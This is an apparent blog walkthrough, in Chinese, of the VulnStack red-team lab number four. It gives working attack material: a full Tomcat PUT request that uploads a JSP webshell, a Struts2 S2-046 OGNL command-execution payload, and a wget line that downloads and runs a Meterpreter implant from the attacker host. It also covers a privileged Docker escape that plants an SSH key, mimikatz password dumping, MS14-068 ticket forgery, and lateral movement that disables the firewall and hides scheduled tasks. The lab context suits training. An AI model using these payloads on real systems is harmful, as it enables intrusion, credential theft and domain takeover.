VulnStack-红队实战(四)

前言

  靶场,本来准备先打三靶场的的结果环境搭建不起,后面在来补三靶场。

环境搭建

  参考这个师傅的环境搭建

拓扑结构

  

信息搜集

  nmap结果

22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open  http    Jetty 9.2.11.v20150529
2002/tcp open  http    Apache Tomcat 8.5.19
2003/tcp open  http    Apache httpd 2.4.25 ((Debian))

getshell

Tomcat

CVE-2017-12617
λ searchsploit tomcat 8.x
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP U | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP U | windows/webapps/42953.txt
--------------------------------------------------------------------- ---------------------------------

  这里使用jsp/webapps/42966.py,输入python3 42966.py -u http://192.168.31.130:2002/ -p pwn,即可获取shell
  
  不过这个shell用起来不太舒服

CVE-2017-12615

  打开http://192.168.31.130:2002/,然后抓包,发送以下payload成功上传文件。连接密码为passwd

PUT /4.jsp/ HTTP/1.1
Host: 192.168.31.130:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 956

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

  蚁剑能成功连接
  

Struts2

  http://192.168.31.130:2001/是Struts2,使用Struts2-Scan 存在漏洞: S2-046
  
  点击submit进行抓包,可以看到这里的filename正常情况下是为空的
  
  构造payload执行whoami

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"

   
  这里需要进行00截断,进入hex将30改为00
  
  然后发包,可以已经执行了whoami并输出了结果
  
  linux上线msf

msf6 > use exploit/multi/script/web_delivery 
msf6 exploit(multi/script/web_delivery) > set target 7 
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.31.129
msf6 exploit(multi/script/web_delivery) > set lport 4859
msf6 exploit(multi/script/web_delivery) > run

  这时会给出一个payload,我这里的为

wget -qO hrMguoMG --no-check-certificate http://192.168.31.129:8080/3n5JdKGX1DxOWi; chmod +x hrMguoMG; ./hrMguoMG& disown

  
  可以看出它的上线逻辑是,从kali上下载木马并且执行,但在这里要做一点小的改动。将payload中的;修改成&&
  修改后的payload为

wget -qO hrMguoMG --no-check-certificate http://192.168.31.129:8080/3n5JdKGX1DxOWi && chmod +x hrMguoMG && ./hrMguoMG& disown

  发包上线
  

phpMyAdmin

  直接访问2003就进入了phpmyadmin后台,可以看到版本为: 4.8.1
  
  这里使用CVE-2018-12613,可以参考我的这篇文章,不过这里因为docker环境无法getshell,不再进行复现

docker逃逸

  使用ls /.dockerenv判断是否在docker里面,存在此文件说明在docker里面
  
  目前在docker里面,现在要进行逃逸
  使用cat /proc/self/status | grep CapEff,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
  
  那么可以用privileged特权模式逃逸
  fdisk -l,查看磁盘文件
  
  新建目录以备挂载:mkdir /test
  将/dev/sda1挂载至 /test: mount /dev/sda1 /test
  查看查看宿主机中的文件:cat /test/etc/passwd
  
  目前算逃逸一半了,发现存在ubuntu用户,要想办法ssh过去
  ssh-keygen -f rain 生成私钥,一路回车。要赋予600权限chmod 600 rain
  
  复制文件cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
  
  回到kali,cat rain.pub复制得到的内容,到docker执行下面命令,写进authorized_keys

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqVbRpaZiEHjXxGje/xwX8/Lpr11i6eD9kQ/Bxpn/TMph+XFMujmXmBn0K4zuY7h7oEA/dVuKWJpi5J7ZREMxi3EFNfrOdR6fN+LbNEWP9pYMGVdgIZRLAzZwmgibmjkvxQAfD8Gc91a3QM9AtqiOtc3jxyRaAOhftNYufkw+YAaJSQ5NqFj6zHYcppY2OQ4N0bRs1KOPWKTpqYg36oufD8Yb08fP0bwhPNGIw8JlVwwQKj2CFtOE4D4Ub2rHdDR16G1MxlGjV+PKf0pFSZFUDpKuN71d+SvsnwqKOXVJMxPCvqJHIO64AXJOaEpTJkanp8idDiWE5C4ntQaU/IFgyCdm2EK9c7p02tqcY7GQ7D6fP4tz9Wy7RtZ4JKm6TIDh0/E0I5+GDW7NPQ0ntvYddMKyOp68zgO+u/l2NsZpyo7PYfBErQIL0yY/dYJ3/V8INt3wSI/IcvpZqQhCo0S1Hn4sEf2BFK5vSTpN4f4UxX+J9Wo0ovguHGDM1B9IgvPM= root@kali' > /test/home/ubuntu/.ssh/authorized_keys

  成功写进后,ssh -i rain ubuntu@192.168.31.130就能免密登录了
  

cs上线linux

  使用CrossC2,我是在windows上使用cs的,首先下载genCrossC2.Win.zip和CrossC2.cna。解压放在同一个目录下
  
  编辑CrossC2.cna文件

$CC2_PATH = "D:\\Tools\\Web\\cs插件\\CrossC2\\"; # <-------- fix
$CC2_BIN = "genCrossC2.Win.exe";

  再到linux下的cs将.cobaltstrike.beacon_keys复制粘贴到windows的cs4.3目录中
  
  
  启动cs加载CrossC2.cna插件后,上面就会多一个CrossC2菜单选项
  
  CrossC2只允许https反弹,所以生成一个https的listener
  
  点击生成https的选项
  
  点击listener旁边的三个点,选择刚刚创建的listener,OutPutFileName 这里我选择将木马文件输出到C:\Users\Lion\Desktop\shell
  
  点击Build后,会在桌面上生成一个shell文件
  
  将shell文件上传到ubuntu后,执行即可上线
  

ms17-010

  cs上线linux就当做一个补充吧,cs上面linux上的后渗透我实在不熟悉,还是转到msf上面
  msf上面获取到ubuntu session后,使用run post/multi/manage/autoroute添加路由
  使用auxiliary/scanner/portscan/tcp对192.168.183.0/24 进行主机存活探测
  
  发现192.168.183.130,192.168.183.129。使用ms17-010。我发现使用msf自动路由过不去。于是传了个工具到ubuntu开启socks5代理。
  msf输入setg Proxies socks5:127.0.0.1:1585,让msf的流量走ubuntu,记得将payload设置为set payload windows/x64/meterpreter/bind_tcp,然后run,获取到session。
  
  接下来就是标准的域渗透流程了,发现域为demo.com,使用net user /domain出现权限受限
  
  这个问题我前面打靶提过,解决办法就是 换成域用户或者提权到system。这里要切换到域用户去
  ps获取进程
  
  steal_token 3016偷取进程后
  
  现在就可以正常执行了
  
  net view获取到dc电脑名为\\WIN-ENS2VR5TR3Nnet group "domain admins" /domain,域管理员为Administrator

MS14-068

  MS14-068对应补丁KB3011780,systeminfo | findstr "3011780",发现没有打补丁。
  先退出来到meterpreter下,rev2self退回到最初的system权限
  
  使用load kiwi加载mimikatz,抓取hashkiwi_cmd sekurlsa::logonpasswords
  
  获取到sid为S-1-5-21-979886063-1111900045-1414766810-1107,明文密码为Dotest123。用户名douser
  继续进入shell后来到c:\Users\douser\Desktop,已经为我们准备好了工具。 MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 生成票据
  
  进入mimikatz,kerberos::purge清空当前票据。kerberos::ptc TGT_douser@demo.com.ccache,导入票据
  
  dir \\WIN-ENS2VR5TR3N\c$, 成功访问,提权成功,当前已经拥有域管权限了
  

横向移动

  msfvenom -p windows/meterpreter/bind_tcp LPORT=5864 -f exe -o 1.exe,先生成一个正向连接的木马。
  meterpreter > upload /root/1.exe将木马传上去后
  at \\WIN-ENS2VR5TR3N 20:27:00 cmd.exe /c "netsh advfirewall set allprofiles state off"这条命令的意思是在 20:27:00执行后面的cmd命令,也就是关闭防火墙
  
  为了不被管理员发现,还要删除计划任务,at \\WIN-ENS2VR5TR3N 5 /delete,5为计划任务的ID
  copy 1.exe \\WIN-ENS2VR5TR3N\c$,将木马复制到dc上
  
  at \\WIN-ENS2VR5TR3N 20:46:00 cmd.exe /c "c:\1.exe",执行后,回到msf界面。

msf6 exploit(multi/handler) > set rhost 192.168.183.130
msf6 exploit(multi/handler) > set lport 5864
msf6 exploit(multi/handler) > run

  等到20:46:00后执行木马上线
  

查看评论 -
评论